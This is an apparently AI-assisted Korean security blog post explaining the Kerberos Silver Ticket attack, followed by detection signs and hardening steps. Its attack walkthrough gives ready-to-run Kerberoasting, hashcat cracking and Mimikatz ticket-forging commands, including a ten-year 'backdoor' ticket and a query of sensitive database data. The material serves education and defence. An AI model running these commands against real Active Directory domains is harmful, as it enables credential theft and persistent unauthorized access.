COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
서비스 계정 해시 1개로 KDC 우회 없이 5분 만에 서비스에 접근한다. Golden Ticket보다 탐지가 어려운 Silver Ticket의 구조.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
Active Directory 환경에서 사용되는 Kerberos 인증 프로토콜은 전 세계 대부분의 기업 네트워크에서 채택되고 있다. 하지만 견고해 보이는 인증 체계에는 치명적인 약점이 숨어 있다. 공격자가 서비스 계정의 비밀번호 해시만 획득하면, 중앙 인증 서버(KDC)와 통신하지 않고도 서비스에 대한 접근권을 무제한으로 위조할 수 있기 때문이다.
전통적인 Kerberos 환경에서는 사용자가 특정 서비스에 접근하려면 반드시 KDC로부터 서비스 티켓(TGS)을 발급받아야 했다. 과정에서 KDC는 사용자의 권한을 검증하고 적절한 접근 제어를 수행한다. 하지만 Silver Ticket 공격은 중앙 집중식 검증 체계를 완전히 우회한다.
Silver Ticket은 서비스 계정의 NTLM 해시를 이용해 TGS 티켓을 직접 위조하는 공격 기법이다. KDC 개입 없이 특정 서비스에 무단 접근할 수 있다.
Silver Ticket 공격을 이해하려면 먼저 Kerberos 프로토콜의 핵심 구성 요소를 파악해야 한다:
| 용어 | 설명 |
|---|---|
| Silver Ticket | 역할: 특정 서비스 접근 위조 / 범위: 단일 서비스 / 필요한 권한: 서비스 계정 해시 |
| Golden Ticket | 역할: 도메인 전체 접근 위조 / 범위: 전체 도메인 / 필요한 권한: krbtgt 계정 해시 |
| Pass-the-Hash | 역할: 기존 해시로 인증 / 범위: 계정 권한 / 필요한 권한: 사용자 계정 해시 |
| Kerberoasting | 역할: 서비스 계정 해시 탈취 / 범위: 정보 수집 / 필요한 권한: 도메인 사용자 권한 |
The Kerberos Network Authentication Service (V5) provides a means of verifying the identities of principals on an unprotected network. This is accomplished without relying on authentication by the host operating system, without basing trust on host addresses, without requiring physical security of all the hosts on the network. — RFC 4120, Section 1
RFC 4120에서 명시한 Kerberos의 설계 철학은 네트워크상에서 안전한 인증을 제공하는 것이었다. 하지만 설계에는 근본적인 가정이 있었다.
서비스 계정의 비밀번호가 안전하게 보호된다는 것이다.
Silver Ticket 공격은 바로 가정을 깨뜨린다. 공격자가 서비스 계정의 NTLM 해시를 획득하면, KDC가 정상적으로 발급했을 법한 TGS 티켓을 정밀하게 위조하기 때문이다.
1단계: 서비스 계정 해시 획득
공격자는 먼저 대상 서비스 계정의 NTLM 해시를 획득해야 한다. 주로 다음 방법들을 통해 이루어진다:
# Kerberoasting을 통한 서비스 계정 해시 탈취
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat
Kerberoasting 공격: SPN 해시 크래킹으로 서비스 계정 탈취 | T1558.003에서 다룬 바와 같이, 공격자는 도메인 사용자 권한만으로도 서비스 계정의 암호화된 티켓을 요청할 수 있다.
2단계: 핵심 정보 수집
Silver Ticket을 위조하기 위해서는 다음 정보들이 필요하다:
# 핵심 수집 정보
- 도메인 SID (Security Identifier)
- 대상 서비스의 SPN
- 서비스 계정의 NTLM 해시
- 위조할 사용자 계정 정보
3단계: Silver Ticket 생성
Mimikatz를 사용한 실제 Silver Ticket 생성 과정:
# Silver Ticket 생성 명령어
mimikatz "kerberos::golden
/domain:company.local
/sid:S-1-5-21-1234567890-1234567890-1234567890
/target:sql-server.company.local
/service:MSSQL
/rc4:a1b2c3d4e5f6789012345678901234567890abcd
/user:admin
/ptt"
각 매개변수의 의미:
/domain: 대상 도메인명/sid: 도메인의 SID (마지막 RID 제외)/target: 대상 서비스 호스트명/service: 서비스 유형 (MSSQL, HTTP, CIFS 등)/rc4: 서비스 계정의 NTLM 해시/user: 위조할 사용자명/ptt: Pass-the-Ticket으로 즉시 적용4단계: 서비스 접근
위조된 티켓이 메모리에 주입되면, 공격자는 서비스에 정상적으로 접근한다:
# SQL Server 접근 예시
sqlcmd -S sql-server.company.local -E
Silver Ticket 공격이 성공하는 핵심 이유는 Kerberos의 분산 검증 구조에 있다. 일반적인 인증 과정에서 서비스는 받은 티켓을 자신의 비밀키로 복호화하여 유효성을 검증한다. 때 서비스는 KDC에 별도로 문의하지 않고 자체적으로 판단한다.
놀이공원에서 손목밴드를 검사하는 것과 같다. 각 놀이기구 직원은 매표소에 일일이 확인하지 않고, 손목밴드의 모양과 색깔만 보고 입장을 허가한다. 만약 누군가 진짜와 똑같은 가짜 손목밴드를 만든다면, 매표소를 거치지 않고도 모든 놀이기구를 이용하게 된다.
Silver Ticket의 또 다른 특징은 높은 지속성이다:
{
"ticket_lifetime": "10년까지 설정 가능",
"renewal_required": false,
"kdc_interaction": "없음",
"detection_difficulty": "매우 높음"
}
공격자는 티켓의 유효기간을 임의로 설정하며, 심지어 10년 후까지도 유효한 티켓을 만듭다. 또한 KDC와 통신하지 않기 때문에 중앙 로그에 흔적이 남지 않다.
공격자들이 Silver Ticket을 애용하는 이유는 명확한다. Golden Ticket 위조: krbtgt 해시 1개로 도메인을 장악하는 원리 | T1558.001에서 다룬 Golden Ticket과 달리, Silver Ticket은 다음과 같은 전략적 이점을 제공한다:
시나리오 1: SQL Server 데이터베이스 접근
# 1. SQL Server 서비스 계정 정보 수집
setspn -L sqlservice
# 2. Kerberoasting으로 해시 획득
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash
# 3. 해시 크래킹 (오프라인)
hashcat -m 13100 hash.txt wordlist.txt
# 4. Silver Ticket 생성
mimikatz "kerberos::golden /domain:corp.local /sid:S-1-5-21-xxx /target:sql01.corp.local /service:MSSQLSvc /rc4:[cracked_hash] /user:admin /ptt"
# 5. 데이터베이스 접근
sqlcmd -S sql01.corp.local -E -Q "SELECT * FROM sensitive_data"
시나리오 2: 웹 서비스 장기 백도어
공격자는 IIS 웹 서버의 HTTP 서비스 계정을 타겟으로 하여 다음과 같이 공격을 수행한다:
# 10년간 유효한 Silver Ticket 생성
mimikatz "kerberos::golden
/domain:company.local
/sid:S-1-5-21-xxx
/target:web-server.company.local
/service:HTTP
/rc4:[service_hash]
/user:webadmin
/startoffset:-10
/endin:87600
/ptt"
생성된 티켓은 10년간 유효하며, 공격자는 언제든지 웹 서비스에 접근한다.
Silver Ticket 공격의 탐지가 어려운 이유는 다음과 같다:
탐지 가능한 이상 징후
하지만 다음과 같은 방법으로 Silver Ticket 사용을 탐지한다:
{
"detection_methods": {
"unusual_ticket_properties": {
"lifetime": "비정상적으로 긴 유효기간",
"encryption": "RC4 암호화 사용 (최신 환경에서 의심)",
"timestamp": "생성 시간과 사용 시간 불일치"
},
"service_access_patterns": {
"source": "비정상적인 접근 소스",
"timing": "업무 시간 외 접근",
"frequency": "과도한 접근 빈도"
},
"missing_logs": {
"kdc_logs": "TGS 요청 로그 부재",
"authentication_sequence": "AS-REQ 없는 서비스 접근"
}
}
}
1. 서비스 계정 보안 강화
# 강력한 비밀번호 정책 적용
New-ADFineGrainedPasswordPolicy -Name "ServiceAccountPolicy" -MinPasswordLength 25 -ComplexityEnabled $true
# 관리형 서비스 계정(MSA) 사용
New-ADServiceAccount -Name "SQLServiceMSA" -DNSHostName "sql01.corp.local"
2. AES 암호화 강제
# 레지스트리 설정으로 RC4 비활성화
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc]
"SupportedEncryptionTypes"=dword:0x00000018
3. 모니터링 강화
# SIEM 탐지 규칙 예시
detection_rules:
- name: "Silver Ticket 의심 활동"
conditions:
- service_access_without_tgs_request
- rc4_encryption_usage
- unusual_ticket_lifetime
action: "alert_security_team"
4. 권한 최소화 원칙
Silver Ticket 공격이 탐지되었을 때의 대응 절차:
Silver Ticket 공격은 Kerberos 프로토콜의 분산 검증 구조를 악용하여 KDC의 개입 없이 특정 서비스에 대한 접근권을 위조하는 정교한 공격 기법이다. 공격은 서비스 계정의 NTLM 해시만 있으면 장기간에 걸쳐 탐지를 회피하며 지속적인 접근을 가능하게 한다.
T1558 Kerberos 공격: 5가지 티켓 위조 기법으로 Active Directory 장악에서 다루는 다른 Kerberos 공격 기법들과 함께 이해하면, 현대 기업 네트워크의 인증 체계가 직면한 위협의 전체적인 모습을 파악할 수 있다.
앞으로 살펴볼 주제로는 Kerberos 환경에서의 위임 공격(Delegation Attack), 서비스 계정 보안을 위한 관리형 서비스 계정(Managed Service Account) 구현. 그리고 Zero Trust 모델에서의 인증 체계 설계가 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.